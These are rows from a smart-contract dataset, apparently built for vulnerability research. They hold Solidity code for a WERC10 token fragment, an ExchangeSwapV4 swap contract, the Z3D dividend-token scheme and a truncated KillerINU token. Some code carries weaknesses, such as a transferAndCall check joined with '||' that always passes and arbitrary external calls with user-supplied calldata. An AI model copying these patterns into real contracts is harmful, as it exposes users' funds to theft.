balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` WERC10 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` WERC10 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WERC10: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 317,912 | 13,645 |
ad749bc11cf6f374336611ae76d67e80cefa69552f2d3d1c4c353ad868fbc1fb
| 19,681 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x3f74306573742a6150fa22a763a4c054d5d1c7ca.sol
| 5,001 | 19,360 |
pragma solidity 0.7.1;
pragma experimental ABIEncoderV2;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
contract ExchangeSwapV4 is AccessControl, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeMath for uint;
bytes32 public constant EXECUTOR_ROLE = bytes32('Executor');
address payable public feeCollector;
mapping(address => uint) public coverFees;
uint public totalFees;
struct Request {
address user;
IERC20 tokenFrom;
uint amountFrom;
IERC20 tokenTo;
uint minAmountTo;
uint txGasLimit;
address target;
bytes callData;
}
struct RequestETHForTokens {
address user;
uint amountFrom;
IERC20 tokenTo;
uint minAmountTo;
uint txGasLimit;
address payable target;
bytes callData;
}
struct RequestTokensForETH {
address payable user;
IERC20 tokenFrom;
uint amountFrom;
uint minAmountTo;
uint txGasLimit;
address target;
bytes callData;
}
modifier onlyOwner() {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), 'Only owner');
_;
}
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(EXECUTOR_ROLE, _msgSender());
feeCollector = payable(_msgSender());
}
function updateFeeCollector(address payable _address) external nonReentrant() onlyOwner() {
require(_address != address(0), 'Not zero address required');
feeCollector = _address;
}
receive() payable external {}
function depositETH() payable external {
address sender = _msgSender();
coverFees[sender] = coverFees[sender].add(msg.value);
totalFees = totalFees.add(msg.value);
}
function withdraw() external {
address payable sender = _msgSender();
uint amount = coverFees[sender];
require(amount > 0, 'Nothing to withdraw');
coverFees[sender] = 0;
totalFees = totalFees.sub(amount);
sender.transfer(amount);
}
function makeSwap(Request memory _request) external nonReentrant() returns(bool) {
require(hasRole(EXECUTOR_ROLE, _msgSender()), 'Only Executor');
require(coverFees[_request.user] >= ((_request.txGasLimit + 5000) * tx.gasprice),
'Cover fees deposit required');
bool _result = true;
try this._execute{gas: gasleft().sub(20000)}(_request) {} catch {
_result = false;
}
_chargeFee(_request.user, _request.txGasLimit);
return _result;
}
function makeSwapETHForTokens(RequestETHForTokens memory _request) external nonReentrant() returns(bool) {
require(hasRole(EXECUTOR_ROLE, _msgSender()), 'Only Executor');
require(coverFees[_request.user] >=
(((_request.txGasLimit + 5000) * tx.gasprice + _request.amountFrom)),
'Cover fees deposit required');
bool _result = true;
try this._executeETHForTokens{gas: gasleft().sub(20000)}(_request) {} catch {
_result = false;
}
_chargeFee(_request.user, _request.txGasLimit);
return _result;
}
function makeSwapTokensForETH(RequestTokensForETH memory _request) external nonReentrant() returns(bool) {
require(hasRole(EXECUTOR_ROLE, _msgSender()), 'Only Executor');
require(coverFees[_request.user] >= ((_request.txGasLimit + 5000) * tx.gasprice),
'Cover fees deposit required');
bool _result = true;
try this._executeTokensForETH{gas: gasleft().sub(20000)}(_request) {} catch {
_result = false;
}
_chargeFee(_request.user, _request.txGasLimit);
return _result;
}
function _execute(Request memory _request) external {
require(_msgSender() == address(this), 'Only this contract');
_request.tokenFrom.safeTransferFrom(_request.user, address(this), _request.amountFrom);
_request.tokenFrom.safeApprove(_request.target, _request.amountFrom);
uint _balanceBefore = _request.tokenTo.balanceOf(_request.user);
(bool _success,) = _request.target.call(_request.callData);
require(_success, 'Call failed');
uint _balanceThis = _request.tokenTo.balanceOf(address(this));
if (_balanceThis > 0) {
_request.tokenTo.safeTransfer(_request.user, _balanceThis);
}
uint _balanceAfter = _request.tokenTo.balanceOf(_request.user);
require(_balanceAfter.sub(_balanceBefore) >= _request.minAmountTo, 'Less than minimum received');
}
function _executeETHForTokens(RequestETHForTokens memory _request) external {
require(_msgSender() == address(this), 'Only this contract');
uint _balance = coverFees[_request.user];
require(_balance >= _request.amountFrom, 'Insufficient funds');
coverFees[_request.user] = coverFees[_request.user].sub(_request.amountFrom);
totalFees = totalFees.sub(_request.amountFrom);
uint _balanceBefore = _request.tokenTo.balanceOf(_request.user);
(bool _success,) = _request.target.call{value: _request.amountFrom}(_request.callData);
require(_success, 'Call failed');
uint _balanceThis = _request.tokenTo.balanceOf(address(this));
if (_balanceThis > 0) {
_request.tokenTo.safeTransfer(_request.user, _balanceThis);
}
uint _balanceAfter = _request.tokenTo.balanceOf(_request.user);
require(_balanceAfter.sub(_balanceBefore) >= _request.minAmountTo, 'Less than minimum received');
}
function _executeTokensForETH(RequestTokensForETH memory _request) external {
require(_msgSender() == address(this), 'Only this contract');
_request.tokenFrom.safeTransferFrom(_request.user, address(this), _request.amountFrom);
_request.tokenFrom.safeApprove(_request.target, _request.amountFrom);
uint _balanceBefore = _request.user.balance;
(bool _success,) = _request.target.call(_request.callData);
require(_success, 'Call failed');
uint _balanceThis = address(this).balance;
if (_balanceThis > totalFees) {
_request.user.transfer(_balanceThis.sub(totalFees));
}
uint _balanceAfter = _request.user.balance;
require(_balanceAfter.sub(_balanceBefore) >= _request.minAmountTo, 'Less than minimum received');
}
function _chargeFee(address _user, uint _txGasLimit) internal {
uint _txCost = (_txGasLimit - gasleft() + 15000) * tx.gasprice;
coverFees[_user] = coverFees[_user].sub(_txCost);
totalFees = totalFees.sub(_txCost);
feeCollector.transfer(_txCost);
}
function collectTokens(IERC20 _token, uint _amount, address _to)
external nonReentrant() onlyOwner() {
_token.transfer(_to, _amount);
}
function collectETH(uint _amount, address payable _to)
external nonReentrant() onlyOwner() {
require(address(this).balance.sub(totalFees) >= _amount, 'Insufficient extra ETH');
_to.transfer(_amount);
}
}
| 276,470 | 13,646 |
b435e97e1dca1510d93187d51e596dac1e0ba014be9963a4cabbd336a01f0521
| 12,797 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x6df457cff4f7a18698017c6f6cf0c13b7d888dad.sol
| 3,277 | 11,863 |
pragma solidity ^0.4.25;
contract Z3D {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Zone Exchange Token";
string public symbol = "Z3D";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 214,160 | 13,647 |
afb12792cc22870859afc2c46d05a07d2493b31f6d30d63b7dcaedd41ff21cb0
| 18,833 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/24/244415af03e7edc17a453f5dca515c7a6627573f_KillerINU.sol
| 4,190 | 15,802 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract KillerINU is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'KillerINU';
string private _symbol = 'KillerINU';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
